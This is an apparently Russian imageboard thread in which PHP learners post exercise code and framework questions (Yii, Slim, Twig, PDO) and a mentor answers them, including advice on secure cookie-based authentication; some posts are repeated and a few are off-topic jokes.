Нет. В MVC контроллер подготавливает данные и вызывает Представление для их отображения.
> Или нужно напрямую сразу через контроллер взаимодействовать?
Управляет всем контроллер и вызывает представление чтобы отобразить результат.
>>545730
Нет ответ должен быть около 61270
Код лучше написать так:
- прибавляем проценты и комиссию к остатку долга
- если остаток маленький, выплачиваем сколько осталось и уходим
- иначе платим 5000
«Платим» здесь значит уменьшаем долг и увеличиваем общую сумму выплаченного.
>>545846
только чтобы нормально владеть jQuery надо сначала изучить DOM, XHR, события так как jQuery лишь удобная обертка над ними. У нас кстати в ОП посте в задачах на JS есть задачи на jQuery.
>>546063
> а решал ее через рекурсию, еще подскажи что можно прочесть для лучшего понимания того как правильно создавать и организовывать рекурсивные функции
Не знаю, можно наверно какие-то задачи порешать. Ну например, напиши рекурсивную функцию вычисления числа Фибоначчи с номером N:
https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%B0_%D0%A4%D0%B8%D0%B1%D0%BE%D0%BD%D0%B0%D1%87%D1%87%D0%B8
Также, вот есть статья, но там примеры на Паскале, а ты попробуй взять задачу про башни оттуда и решить на PHP: http://www.tvd-home.ru/recursion#p6_2
Ну и вот еще статья если не боишься формул: https://ru.wikibooks.org/wiki/%D0%A0%D0%B5%D0%BA%D1%83%D1%80%D1%81%D0%B8%D1%8F
> for ($i = 0; $i < $total; $i++) {
> $humans[$i] = $i + 1;
Функция range() не подойдет?
По коду: не проще ли сделать так: вычисляем номер следующего участника на удаление (прибавляя $skip с учетом зацикливания) и удаляем его через array_splice который перенумеровывает массив? Мне кажется, так было бы чуть понятнее и не пришлось бы делать сложные переносы участников из конца в начало.
Ну и в любом случае, нехорошо что у тебя там строки с формулами 2 раза повторяются, это как минимум надо в функцию вынести.
>>546129
У тебя там ошибки:
> PHP Notice: Undefined offset: 7 in /home/RaP7se/prog.php on line 34
Это потому что некоторые строки короче, а некоторые длиннее. Надо проверять сначала, есть ли в массиве такой элемент и если нет то выводить пробел вместо него.
Не знаю, не знаю, если я устанавливаю слим через композер и вендор/аутолоад, то у меня $app->container->singleton перестает распознаваться.
И как гитигнор в гите создавать? создать файл с пустым именем и расширением гитигнор я не могу на компе.
>Теперь посмотрим базу данных
кек, я эту дб просто из ХАММПА скачал текстовым файлом, ничего не правил.
Да и внешними ключами я пока еще не занимался, таблицу юзеров с файлами еще не сводил, сказал же сырой проект еще.
Я пробовал использовать строки 'true" "false". Так вот у меня if($public == "true") не распознается, только числа, хз почему.
>Почему размер это строка? И почему в ней 266 символов?
Потому что там еще плавающая точка и Мб или Кб дописываются.
>Нужен комментарий что именно там хранится, пароль, хеш, или что-то еще
да-да, я потом собирался закодировать их в md5
https://ideone.com/LggE7U
Решил задачку W5.1. Хочу узнать правильно ли?
Добавил переменную $paymentLast задав ей значение $monthlyPayment - $creditBalance. Дальше задал условие if ($creditBalance < $monthlyPayment) { echo "С меня хватит! вот вам остальное: $paymentLast \n" } на выхлопе получил что анон должен отдать разницу между ежемесячным платежом и долгом за последний месяц 11.
Я сам только учусь, но проверку я поместил выше расчетов и поменял на
if ((( $creditBalance * $percent ) + $servicePayment) < $monthlyPayment)
а потом приравнивал выплату к долгуи высчитывал. Но лучше подожди ответа ОПа.
Предупреждение в начале: "Эта глава требует дополнительных знаний в программировании и не очень важная, при первом чтении вы можете пропустить её и вернуться потом, когда захотите понять, как побитовые операторы работают." принял как вызов, но что-то все это сложно как-то. Стоит ли сейчас в этом разбираться или перейти к следующим темам?
В комментариях под темой не нашел ничего в стиле "Что это? Я ведь новичок в этом, как я должен это все понимать?" и заплакал.
загугли арефметику двоичных чисел, она очень простая.
Так вот,насколько долго учить ? Год - полтора?
Хотел бы узнать что представляют из себя работа по пхп собственно. Т.е. как это происходит? Тебе дают задание - напиши то-то и ты сидишь ковыряешься ? Насколько много нужно знать что бы сделать это? И что нужно знать что бы тебя взяли хоть-куда.
Извините за кривой подчерк и кучу вопросов.
Я вчера вечером учить сел, с утра проснулся и уже 369 предложений по работе. Только что пришел с собеседования, сеньором взяли. Теперь пассивный доход 10к доллоров в неделю.
4-8 месяцев в среднем на обучение по словам ОПа.
какой редактор или IDE ты используешь?
>>546263
Значит надо разобраться почему. Посмотреть, нет ли каких ошибок в логах, сдампить $app->container и тд
>>546267
Это не дб, а дамп базы данных. Значит надо исправить базу данных и сделать новый дамп.
И конечно исправлять желательно через команды вроде ALTER TABLE, чтобы заодно в них попрактиковаться.
>>546268
Внешние ключи это не какая то отдельная вещь, ты прописываешь их при создании таблицы. То есть сначала надо правильно создать таблицу а потом работать с ней.
>>546269
Надо разобраться почему, сдампить что в какой переменной и что возвращает $public == "true"
>>546275
Это неправильно. В базе надо хранить исходные данные, то есть число байт, а не их краткое представление. Как ты посчитаешь например суммарный объем загруженных пользователем файлов по таким данным?
>>546300
Где я говорю брать другой фреймворк? Слим хорошо подходит для файлообменника. Я говорю что надо вместо гиганских простыней разбросанных по куче файлов оформить код в одном файле и вынести лишнее в другие классы.
>>546355
А почему «или»? тебе без разницы какой фреймворк изучать?
Я могу придумать задачку на создание клиентсайдного приложения, но я думаю то в начале придется изучить более простые технологии вроде Backbone, Knockout, чтобы разобраться с MVVM и дата байндингом, с синхронизацией данных и оффлайн режимом и тд. Вообще, мне было бы интересно сделать задачу на создание яваскриптового приложения, да.
Ну и разумеется предполагается что более простые вещи вроде DOM, XHR, событий ты уже знаешь.
>>546357
А ты знаешь что такое двоичные числа? Попробуй сначала разобраться что это и тогда битовые операторы понять будет не сложно.
>>546373
Надо знать HTML/CSS/PHP/SQL/JS/MVC/ООП/фреймворки/паттерны и все это изучается в нашем треде.
какой редактор или IDE ты используешь?
>>546263
Значит надо разобраться почему. Посмотреть, нет ли каких ошибок в логах, сдампить $app->container и тд
>>546267
Это не дб, а дамп базы данных. Значит надо исправить базу данных и сделать новый дамп.
И конечно исправлять желательно через команды вроде ALTER TABLE, чтобы заодно в них попрактиковаться.
>>546268
Внешние ключи это не какая то отдельная вещь, ты прописываешь их при создании таблицы. То есть сначала надо правильно создать таблицу а потом работать с ней.
>>546269
Надо разобраться почему, сдампить что в какой переменной и что возвращает $public == "true"
>>546275
Это неправильно. В базе надо хранить исходные данные, то есть число байт, а не их краткое представление. Как ты посчитаешь например суммарный объем загруженных пользователем файлов по таким данным?
>>546300
Где я говорю брать другой фреймворк? Слим хорошо подходит для файлообменника. Я говорю что надо вместо гиганских простыней разбросанных по куче файлов оформить код в одном файле и вынести лишнее в другие классы.
>>546355
А почему «или»? тебе без разницы какой фреймворк изучать?
Я могу придумать задачку на создание клиентсайдного приложения, но я думаю то в начале придется изучить более простые технологии вроде Backbone, Knockout, чтобы разобраться с MVVM и дата байндингом, с синхронизацией данных и оффлайн режимом и тд. Вообще, мне было бы интересно сделать задачу на создание яваскриптового приложения, да.
Ну и разумеется предполагается что более простые вещи вроде DOM, XHR, событий ты уже знаешь.
>>546357
А ты знаешь что такое двоичные числа? Попробуй сначала разобраться что это и тогда битовые операторы понять будет не сложно.
>>546373
Надо знать HTML/CSS/PHP/SQL/JS/MVC/ООП/фреймворки/паттерны и все это изучается в нашем треде.
>А ты знаешь что такое двоичные числа? Попробуй сначала разобраться что это и тогда битовые операторы понять будет не сложно.
Гуглю сижу. Нашел пока вот это. http://www.uroki.net/docinf/docinf28.htm
Вроде понемногу начинаю разбираться. По крайней мере могу перевести десятичное число в двоичное и обратно, а так же освоил с горем пополам сложение, вычитание и умножение, но деление что-то мозг отказывается воспринимать.
> деление что-то мозг отказывается воспринимать
Ты что ли на бумажке в столбик никогда не делил?
Прочитай тогда про деление столбиком десятичных чисел: http://math-prosto.ru/?page=pages/action-in-column/division-of-column.php
Но вообще уметь делить двоичные числа не обязательно — ты можешь их перевести в десятичные, поделить и перевести обратно.
Делил конечно. Но тут сложнее. Долго высчитывать было на каждом шагу вычитания. Тем более я сейчас без бумажки просто в уме все числа запоминая, сложновато в общем было, но уже разобрался. Проблема только в скорости высчитывания, а технология уже ясна.
А как мне тогда статичный токен сгененрировать для куки? вот статичный токен
class Token {
static protected $string;
public static function generatePassword($length = 8){
$chars = 'abdefhiknrstyzABDEFGHKNQRSTYZ23456789';
$numChars = strlen($chars);
$string = '';
for ($i = 0; $i < $length; $i++) {
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return self::$string;
}
вот его генерация для куки
$cookieToken = new Token();
$cookieKey=$cookieToken->generatePassword(8);
но ведь написано, что оно должно как-то так вызываться $cookieToken::generatePassword(8); не?
Я тут переписывал код, избавлялся от двумерного массива в $map заменяя его на список объектов, и когда дошло дело до перемещения оказалось, что код теперь может работать и без определения границ, то есть наши космические кошки теперь могут удалиться и на 15 "клеток" и на 5493720, и на -41892346, и т.д. Все прямо как в нашем мире - вселенная бесконечна, расширяется не вселенная а материя в ней!
Взяли на работу, проект на юи, я юи нихера не знаю.
В общем меняю там ксс - ничего не меняется, только по прошествии времени иногда.
Я так понял на меня нагрянул кеш.
Как очищать кеш в юи? Сжальтесь, я только начал его изучать. Работал раньше на другом фреймворке, там в дебаг режиме кеш вообще не сохранялся, а тут вот палки в колеса.
$field = "<input name = \"name\" type = \"text\" ".$disabled.">";
Почему у меня не получается так заблокировать инпут?
Всё, разобрался. Проблема была в том, что я долбоёб.
Дорогой ОП, пишу тебе впервые. Прохожу самоучитель с нуля, засел в регэкспах, вроде бы сделал первую задачку про телефонный номер, но мне кажется, что очень уж уёбищно и громоздко у меня получилось, хотя вроде все форматы, которые даны в условии задачи, проверку проходят. Алсо немного не понял это: может ввести не только цифры, но и скобки, минусы, может что-то еще. В смысле, может ввести, но это не должно приниматься? Вот ссылка, если обратишь внимание: http://ideone.com/ynYv7Q
Так хорошо (в плане алгоритма)?
>Вам не следует выбрасывать исключения PDOException из своего кода.
Не понял, как мне написать обертку для PDO? Создаю класс наследуемый от PDOException, но объекты pdo и statement выбрасывают именно PDOException, а дочерний класс их не ловит. ОП, ты скажешь, дак кидай свой эксепшен, но ведь он не сгенерит нужное сообщение с ошибкой из БД, кароче я запутался...
А слим их разве не пишет в стандартный лог ошибок PHP? (под виндой он обычно в папке logs Апача, в линуксе обычно в /var/log/apache2)
Проверь-ка, сделай в обработчике код вида
throw new Exception("Yes");
И посмотри запишется что-нибудь в лог или нет.
комментирую код на картинке: нет никакого смысла писать throw и catch одного исключения внутри одной и той же функции так как в этом случае проще написать if
Это кстати написано в уроке про исключения: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a
Конкретно в твоем случае скорее всего надо throw оставить, а try/catch убрать, ну и добавить понятную надпись в сообщение в исключении.
>нет никакого смысла писать throw и catch одного исключения внутри одной и той же функции так как в этом случае проще написать if
не понял
+--------+---------+--------+
id | pid | data |
+--------+---------+--------+
1 | null | 123 |
+--------+---------+--------+
2 | 1 | 232 |
+--------+---------+--------+
3 | 2 | 313 |
+--------+---------+--------+
4 | 3 | 232 |
+--------+---------+--------+
pid - id родителя,
data - какая-то инфа.
Как мне по айдишнику получить инфу из самого старшего предка?
Кстати, да, читаю книгу, написано, что нужно делать throw exception. А у меня все в PDO try {} catch. Так как надо? наверное, exception нужно только внутри классов делать.
АХ ВЫ УБЛЮДКИ, ПЕРДИТЕ В ПОЕЗДАХ, ЖАННОЧКА МЕЖДУ ПРОЧИМ НЕ ЕЗДИЛА НА МЕТРО, ОНА НА КРАСНОМ, КАК ВАРЕНЫЙ РАК, ХЭТЧБЭКЕ ПО СТЕНАМ ГОНЯЛА, ЗАЧЕМ ВЫ ЕЁ ГРЯЗЬЮ ПОЛИВАЕТЕ, НЕГОДНИКИ?!?! НАКАЗАНИЕ ЕЩЕ ВПЕРЕДИ, КОБЗОН НАСТУПАЕТ!!!!
БОХ НАКАЖИТ ВАС ЗА ТАКИЕ СЛОВА ОЙ НАКАЖИТ БУМЕРАНГОМ ВСЕ ВЕРНЕТСЯ ЖАННОЧКА СЕЙЧАС СЛЫШИТ И ВИДИТ НАС ИРОДЫ НЕХРИСТИ
Нет, тут надо как-то с рекурсией. То, что у тебя даст результат только для таблицы в примере, а записей может быть очень много.
Накажет за то, что я пёрнул в поезде?
/psy - что то типа /b, куча биопроблемников и долбоебов мыслящих стереотипами и клише
В магач ещё сходи.
сказал, что пэхэпэ дно и надо учить раби/яву/сишарп?
я отложил на потом, тем более, еще писать контроллер, который в свою очередь будет задействовать вспомогательные классы, в их методах тоже могут быть исключительные ситуации. Почему бы не вынести функцию отлавливания catch'ем в контроллер, а из класса маппера и класса для валидации кидать эксепшены?
Ебать охуел от адеквадтности ОПа и треда в целом. Просто чудовищный контраст по сравнению с другими тредами где тебя обсыкают перманентно.
И так php ребята, учил я тут питон и django и думал влезть на фриланс. Так как очень плохо пишу на инглише,закономерно всосал на upworke, а разработка на django на просторах снг никому не всралась. Так у меня вопрос с чего лучше начинать PHP и javascript что максимально быстро выйти на рынок? Мильёны заработать не мечтаю, я бы на 100 баксов в месяц согласен.
положение шариков по вертикали и его изменение всегда остается детерминированным, но у некоторых шариков возникает иллюзия, что они могут крутиться быстрее или медленнее.
мамкиндетерменист
Вот только вопрос к анонам. Какую-бы книжку посовременнее взять, чтобы для ньюфагов и без фрэймворков?
Что значит всосал? Подробнее расскажи. Не вышло общаться, плохо понимают заказчики, нет заказов?
книжки на русском и посовременнее - это исключение из правил. Учи английский и читай статьи.
Я знаю английский на уровне очень хорошо.
ОП, проверь пожалуйста.
https://github.com/never3ver/vector
Вроде не накосячил, хотя я из тех, кто на бильярдном столе лужу с говном найдет и в ней утонет.
это патамушта мы умнички
>>546174
Поправил считалку http://ideone.com/TxHEz9
взгляни еще 2 предыдущих, там по регулярным выражениям и циклу foreach http://ideone.com/JHWwSk и http://ideone.com/XGVZBz
Заведомую ерунду типа abc или x.y он спокойно приводит к null и соответственно пустой строке при рендере (что и требуется), к такой переменной можно применить фильтр default например.
Однако если передать ему реальный объект, то он спотыкается на несуществующем свойстве, пишет
An exception has been thrown during the rendering of a template ("В классе Foo и его поведениях не найден метод или замыкание с именем "property".")
Пытался его и фильтрами model.property|default('hello world'), и ифами проверял
{% if model.property %}{{ model.property }}{% else %}not found{% endif %}
Все равно выкидывает исключение.
Я понял, это проблема взаимодействия yii с твигом. Проверил на пустышке, все работает. А с yii косяки, то переменная недоступна в шаблоне виджета, теперь не срабатывают фильтры.
Ладно, позже скину гитхаб, чтобы было о чем говорить.
Проблема была в юишных геттерах.
Я использовал паттерн eav для описания модели объявления, соответственно в главной модели есть свойства (и геттеры) только для общих полей.
Для полей eav геттеров не было, поэтому выбрасывался эксепшн. Решено при помощи кала (__call), он у меня получается выполняет роль фильтра default.
Да в общем все вместе, нет заказов, я пишу на инглише так что хоть святых выноси. Литературы маловато по джанге, например связку фрейморк + база данных я практически не знаю, литератур только на английском( читаю я неплохо, но медленно), сделал для портфолио лишь 0.25 сайта на бесплатном хостинге openshift. Да и просто смотря сколько заказов по PHP и Python становиться грустно. В PHP хоть можно что за индусами подбирать, в django нужны одни паладины без страха и упрека.
>>546843
Заставил меня гуглить. Детерминированность (от лат. determinans — определяющий) — определяемость. Теперь вообще не могу понять что ты сказал.
Данные передаю клиентом так:
var test = {
"phone" :\t"1111",
"name" :\t"dassada",
"email" :\t"33333@sdfsdf.ru",
"password" : "4444123123123"
};
$.ajax({
url: 'http://localhost/basic/web/index.php?r=user/signup',
data: test,
type: 'post',
dataType: 'json',
success: function(data){
console.log(data);
}
});
На сервере:
class SignupForm extends Model{
public $name;
public $email;
public $password;
public $phone;
}
public function actionSignup(){\t
$model = new SignupForm();
$model->load( Yii::$app->request->post() );
return $model;
}
Но, если заменить лоад на
$model->setAttributes( Yii::$app->request->post() );
то становится всё ок. ЧЯДНТ?
Данные передаю клиентом так:
var test = {
"phone" :\t"1111",
"name" :\t"dassada",
"email" :\t"33333@sdfsdf.ru",
"password" : "4444123123123"
};
$.ajax({
url: 'http://localhost/basic/web/index.php?r=user/signup',
data: test,
type: 'post',
dataType: 'json',
success: function(data){
console.log(data);
}
});
На сервере:
class SignupForm extends Model{
public $name;
public $email;
public $password;
public $phone;
}
public function actionSignup(){\t
$model = new SignupForm();
$model->load( Yii::$app->request->post() );
return $model;
}
Но, если заменить лоад на
$model->setAttributes( Yii::$app->request->post() );
то становится всё ок. ЧЯДНТ?
ты постоянно повторяешь один и тот же код, попробуй использовать функцию и вызывать каждый раз ее. Функция будет вида
function randWord ($arr) {
\t$randWord= $arr[mt_rand(1, count($arr)-1)];
\treturn $randWord;
}
http://www.php.su/functions/custom/?1#create рекомендую к прочтению
не дошел еще просто до функций
model.added|date('d F', 'Europe/Moscow')
Intl стоит, чего ему еще нужно?
Потому что петушки могут только кудахтать, азазаз.
>но как быть, если он просто часть?
>фреймворк
>просто часть
Никак не быть, это маразм. Можно использовать те же независимые бандлы Symfony для определенных задач, но никак не целый фреймворк, если у тебя приложение уже основано на какой-то говноцмс или другом фреймворке.
Насколько я помню в yii есть папочка assets в корне приложения. Ее почисти.
if ($model->load( Yii::$app->request->post() ) )
{
//...
} else {
Yii::$app->session->setFlash('error', 'Ошибка загрузки данных');
}
Или лучше все ошибки в методах модели собирать для $this->getErrors() ?
Вполне, только твой код немного странный, если он размещен в экшене, где пользователь должен заполнить форму.
Итак с вами ОП этого треда.
Что-то ОП пост мне не нравится.
Во первых задачи лишены градации. Сначала оверпросто, потом сразу хардкор.
Нет вменяемой литературы. Вместо неё какой-то странный сайт php.net на котором чтобы найти ответ - нужно часа 2 лазить. (Я рекомендую Пыху.) Там хоть и сумбурное сборище, но всё-же ответы на вопросы ищутся быстро и всё более менее понятно.
>Что почитать
>- Мануал по PHP — http://www.php.net/manual/ru/langref.php
Кто в здравом уме это читал? Серьёзно, кто-то взял в руку чашку кофе, подумал что сейчас можно передохнуть и почитать что-то и залез по ссылке? Или намеренно прочитал весь текст? Поздравляю, более безсмысленного времяприпровождения в жизни не видел. Есть вопрос - гуглишь и находишь ответ. Так читать про PHP - просто получать спутанный клубок знаний.
Прочитал - не одобряю. Книга расчитана на весьма ВЕСЬМА олдфагов с опытом работы 3года+
оно самописное. И ты не прав. С сессиями проблему я уже решил, всё работает как следует.
Так почему же нет?
function __get($property){
$method="get($property)";
if(method_exists($this, $method)){
return $this->$method();
}
}
function getName(){
return "Ivan";
}
function getAge(){
return 44;
}
}
$p = new Person();
print $p->name;
Почему этот код не работает? Должно писаться Иван.
а все заработало, там кавычки надо было (хуево отсканированный учебник).
Вот, допустим, есть у меня модель.
Есть экшн в контроллере, который должен во вью выводить информацию. Однако после запроса информацию нужно еще должным образом обработать(пропустить через foreach, добавить что-то, ну, типа того).
Так вот, эти все преобразования лучше производить сразу в модели, или же лучше в представлении?
Я бы делал в модели, но тогда она становится вообще не абстрактной и ее нужно сильно расширять, если те же данные нужно представить в другом виде. Тогда логичнее в представлении, но можно ли так?
И еще вопрос, нормально ли писать запросы в контроллере,
или лучше через гетеры получать из модели?
>>- Мануал по PHP — http://www.php.net/manual/ru/langref.php
>Кто в здравом уме это читал?
Да, плохой сайт, все непонятно, не подробно, вразброс.
Типа все запросы, вопросы и прочие операции нужно выносить в отдельную папку с классами и в контроллере просто их вызывать.
timezone погугли, нужно настраивать бд майсокла прибавляя или убавляя несколько часов.
Вообще, хотелось бы сделать единый вывод для ошибок на каждом этапе работы контроллера, примерно как сделано в моделях. Как это лучше всего реализовать?
preg_match возвращает не все совпадения, а первое. Тебе он возвращает массивчик с полным текстом совпадения и со значением группы 1 (то что в скобочках). Поищи другую функцию preg_, которая захватывает все совпадения (это спойлер). Можешь, конечно, сделать и с этой функцией - у нее есть флаг PREG_OFFSET_CAPTURE, который отдает тебе позицию совпадения, зная которую, ты можешь вызывать preg_match в цикле, чтобы найти следующее совпадение.
ОП сделал проверку на наличие элемента, условие работает, но теперь беда в том что не хочет выводить полностью предложения если задавать длину переменной, если выставлять руками (например 40) то отрабатывает на отлично как в примере у тебя. и еще он какую то ошибку мне показывает на 35 строке Где я опять накосячил?
Не нужно, но хорошим специалистом так не станешь, только пополнишь ряды быдлокодеров, клепающих уебищные говносайты.
Задача про компанию Вектор, вот тут ее нашел: archive-ipq-co.narod.ru/l1/pasta.html
Посмотрите пожалуйста: ideone.com/IfbLQo
Страстные быдлокодеры тоже бывают. Правда, похапешников подобных не видел, только сишников, дельфистов и шарпистов.
спасибо, подрочил.
Слева конечно.
Тот что посередине.
Что значит "лучше"? Две темы оформления, два стиля дизайна, какой тебе/заказчику больше нравится, тот и "лучше".
На мой вкус конечно симпатичнее левый (только надо приглушить жирную box-shadow), но все зависит от аудитории. На говносайтах наоборот больше котируются яркие вырвиглазные темы.
Ориентируйся на целевую аудиторию, короче.
class PersonWriter {
function writeName(Person $p){
print $p->getName();
}
function writeAge(Person $p){
print $p->getAge();
}
}
class Person {
private $_name;
private $_age;
private $writer;
function __set($property, $value){
$method = "set{$property}";
if(method_exists($this, $method)){
return $this->$method($value);
}
}
function setName($name){
$this->_name = $name;
if(!is_null($name)){
$this->_name=$this->_name;
}
}
function setAge($age){
$this->_age=strtoupper($age);
}
function __get($property){
$method="get{$property}";
if(method_exists($this, $method)){
return $this->$method();
}
}
function __construct(PersonWriter $writer){
$this->writer = $writer;
}
function __call($methodname, $args){
if(method_exists($this->writer, $methodname)){
return $this->writer->$methodname($this);
}
}
function getName(){
return $this->_name;
}
function getAge(){
return $this->_age;
}
}
setLocale(LC_ALL, "ru_RU.CP1251");
$p = new Person();
$p->name="Ivan";
$p->age="23";
$person = new Person (new PersonWriter());
$person->writeName();
Argument 1 passed to Person::__construct() must be an instance of PersonWriter, none given, called in
class PersonWriter {
function writeName(Person $p){
print $p->getName();
}
function writeAge(Person $p){
print $p->getAge();
}
}
class Person {
private $_name;
private $_age;
private $writer;
function __set($property, $value){
$method = "set{$property}";
if(method_exists($this, $method)){
return $this->$method($value);
}
}
function setName($name){
$this->_name = $name;
if(!is_null($name)){
$this->_name=$this->_name;
}
}
function setAge($age){
$this->_age=strtoupper($age);
}
function __get($property){
$method="get{$property}";
if(method_exists($this, $method)){
return $this->$method();
}
}
function __construct(PersonWriter $writer){
$this->writer = $writer;
}
function __call($methodname, $args){
if(method_exists($this->writer, $methodname)){
return $this->writer->$methodname($this);
}
}
function getName(){
return $this->_name;
}
function getAge(){
return $this->_age;
}
}
setLocale(LC_ALL, "ru_RU.CP1251");
$p = new Person();
$p->name="Ivan";
$p->age="23";
$person = new Person (new PersonWriter());
$person->writeName();
Argument 1 passed to Person::__construct() must be an instance of PersonWriter, none given, called in
\tif (a < b) {
\t\treturn a;
\t} else {
\t\treturn b;
\t}
}
showMin(2, 5);
showMin(3, -1);
showMin(1, 1);
Почему не работает код?
Яваскрипт
Есть txt файл с данными:
:1
2
:3
4
Как получить массив вида 1 => 2, 3 => 4 ?
А впрочем, не важно.
А так и не понял рекурсию. Ну то есть понял что это функция вызывает сама себя, но когда пытюсь реалезовать на языке - обосрамс гарантирован. Вечно проебую откуда оно должно начинаться и как должно оканчиваться.
Механизм авторизации через куки при использовании логина и пароля такой:
----------
В случае авторизации через куки мы выставляем в куки id пользователя + какой-то секретный трудно угадываемый ключ, например:
- хеш пароля (злоумышленник его не знает)
- специальный длинный случайный код, который генерируется при регистрации пользователя и хранится в базе. Этот вариант позволяет не хранить даже хеш пароля у пользователя
- цифровую подпись id пользователя, подписанную секретным ключом сервера (плохой вариант так как она не меняется при смене пароля пользователем)
Что важно помнить:
- при смене пользователем пароля старые коды должны становиться недейтсвительными. Ну к примеру, пользователь подозревает что его куки украли и хочет сменой пароля защититься от их использования.
- для кук надо стаивть флаг httpOnly, который делает куку недоступной яваскрипту и защищает от ее воровства через XSS уязвимость
Что надо еще помнить: авторизацию (передачу пароля на сервер) надо делать через https, иначе есть варианты украсть этот пароля, например владелец wifi-точки видит проходящие через нее данные, сотрудник провайдера и всяческие госконтроли видят проходящие данные, если они не зашифрованы. А так как куки тоже позволяют получить доступ в аккаунт пользователя, лучше вообще для залогиненных пользователей использовать только https-соединение.
----------
Это в традиционных системах с регистрацией.
Если ты говоришь про файлообменник, где пользователи могут загружать файлы анонимно, а нам надо их отслеживать, то тут механизм другой, мы просто генерируем тем пользователям, у которых нет куки с кодом, этот код и ставим куку, тем у кого она уже есть, ничего ставить не требуется. При загрузке файла в первый раз мы создаем запись в таблице пользователей, как бы создавая нового пользователя. При регистрации мы просто добавляем этому анонимному пользователю логин и пароля.
Анон, тебе бы стоило использовать правильные термины, а то я не очень понял что это значит:
> то в его таблицу вешается кука
какую таблицу? что значит вешается? Куки это данные которые хранятся в браузере, на сервере ни в каких таблицах они никак не хранятся. Куки ставятся отправкой заголовка Set-Cookie в браузер, а он шлет их вместе с каждым запросом в заголовке Cookie.
>и по ней хедер сайта сверяется, если он вылогинился, то кука удаляется, как с его стороны, так и из таблицы, да?
Если под «хедером» сайта ты имешшь в виду шаблон шапки то там конечно никакого кода проверки кук не должно быть, он должен быть в контроллере.
> А если юзер анонимный и в таблице записан, как аноним с кукой, то в хедере если находит куку из таблицы, навешанную на анонима,
Не понял.
> Может вместо уничтожения кук поставить какую-нибудь галочку для юзера - что он вылогинился или залогинился, будет проще, чем куки пересоздавать каждый раз?
Не понял, какую галочку и где ты собрался ставить, и зачем надо пересоздавать куки.
Так не пойдет. Ты должен сначала разобраться что такое куки и как они работают (и научиться смотреть их и относящиеся к ним заголовки например в отладчике в Хроме), а только потом делать авторизацию на их основе.
>>546315
Не совсем так. В генераторе имен мы просто берем случайный слоги, а в Льве Толстом у нас есть набор кандидатов на роль первого слова, набор кандидатов для второго слова, и тд, чтобы в итоге получился стих с размером и рифмой.
Механизм авторизации через куки при использовании логина и пароля такой:
----------
В случае авторизации через куки мы выставляем в куки id пользователя + какой-то секретный трудно угадываемый ключ, например:
- хеш пароля (злоумышленник его не знает)
- специальный длинный случайный код, который генерируется при регистрации пользователя и хранится в базе. Этот вариант позволяет не хранить даже хеш пароля у пользователя
- цифровую подпись id пользователя, подписанную секретным ключом сервера (плохой вариант так как она не меняется при смене пароля пользователем)
Что важно помнить:
- при смене пользователем пароля старые коды должны становиться недейтсвительными. Ну к примеру, пользователь подозревает что его куки украли и хочет сменой пароля защититься от их использования.
- для кук надо стаивть флаг httpOnly, который делает куку недоступной яваскрипту и защищает от ее воровства через XSS уязвимость
Что надо еще помнить: авторизацию (передачу пароля на сервер) надо делать через https, иначе есть варианты украсть этот пароля, например владелец wifi-точки видит проходящие через нее данные, сотрудник провайдера и всяческие госконтроли видят проходящие данные, если они не зашифрованы. А так как куки тоже позволяют получить доступ в аккаунт пользователя, лучше вообще для залогиненных пользователей использовать только https-соединение.
----------
Это в традиционных системах с регистрацией.
Если ты говоришь про файлообменник, где пользователи могут загружать файлы анонимно, а нам надо их отслеживать, то тут механизм другой, мы просто генерируем тем пользователям, у которых нет куки с кодом, этот код и ставим куку, тем у кого она уже есть, ничего ставить не требуется. При загрузке файла в первый раз мы создаем запись в таблице пользователей, как бы создавая нового пользователя. При регистрации мы просто добавляем этому анонимному пользователю логин и пароля.
Анон, тебе бы стоило использовать правильные термины, а то я не очень понял что это значит:
> то в его таблицу вешается кука
какую таблицу? что значит вешается? Куки это данные которые хранятся в браузере, на сервере ни в каких таблицах они никак не хранятся. Куки ставятся отправкой заголовка Set-Cookie в браузер, а он шлет их вместе с каждым запросом в заголовке Cookie.
>и по ней хедер сайта сверяется, если он вылогинился, то кука удаляется, как с его стороны, так и из таблицы, да?
Если под «хедером» сайта ты имешшь в виду шаблон шапки то там конечно никакого кода проверки кук не должно быть, он должен быть в контроллере.
> А если юзер анонимный и в таблице записан, как аноним с кукой, то в хедере если находит куку из таблицы, навешанную на анонима,
Не понял.
> Может вместо уничтожения кук поставить какую-нибудь галочку для юзера - что он вылогинился или залогинился, будет проще, чем куки пересоздавать каждый раз?
Не понял, какую галочку и где ты собрался ставить, и зачем надо пересоздавать куки.
Так не пойдет. Ты должен сначала разобраться что такое куки и как они работают (и научиться смотреть их и относящиеся к ним заголовки например в отладчике в Хроме), а только потом делать авторизацию на их основе.
>>546315
Не совсем так. В генераторе имен мы просто берем случайный слоги, а в Льве Толстом у нас есть набор кандидатов на роль первого слова, набор кандидатов для второго слова, и тд, чтобы в итоге получился стих с размером и рифмой.
По твоей ссылке код пустой.
В задаче должен получиться ответ «всего выплачено около 61268». Код внутри цикла надо написать примерно так:
- прибавляем проценты и комиссию к остатку долга
- если остаток маленький, выплачиваем сколько осталось и уходим
- иначе платим 5000
«Платим» здесь значит уменьшаем долг и увеличиваем общую сумму выплаченного.
> на выхлопе получил что анон должен отдать разницу между ежемесячным платежом и долгом за последний месяц
Нет, я думаю, ты ошибаешься. Анон платит по 5000 в месяц, а когда долг становится меньше этой суммы, выплачивает остаток (в данном случае около 1268) и уходит. Твоя программа должна посчитать и вывести общую сумму выплат за все время.
Зависит от компании. Где-то делают сайты и твоей задачей например будет взять шаблон от верстальщика и интегрировать верстку в CMS, настроить ее, может быть разместить какие-то тексты. Или задачи в стиле «переделать меню на этом сайте». А бывают продуктовые компании, которые разрабатывают свои продукты, и там задачи другого порядка, исправить баги, дописать новый фкункционал.
Учить долго, полгода-год в зависимости от того сколько времени уделять.
Знать надо для начала HTML/CSS/JS/PHP/SQL + ООП/MVC/фреймворки. Открой сайт вакансий и почитай.
>>546596
> как мне тогда статичный токен сгененрировать для куки?
Статические бывают методы, а токен это строка которая одинаковая независимо от того статический или нет метод ее сгенерировал.
По твоему коду: объясни зачем это свойство:
> static protected $string;
И что делает эта команда:
> return self::$string;
> но ведь написано, что оно должно как-то так вызываться $cookieToken::generatePassword(8); не?
Как должно вызываться, написано в мануале: http://php.net/manual/ru/language.oop5.static.php
К сожалению, примеры кода там запутывают больше чем учат. Статические поля и методы это поля и методы которые относятся к классу, а не конкретному объекту и они вызываются через имя класса:
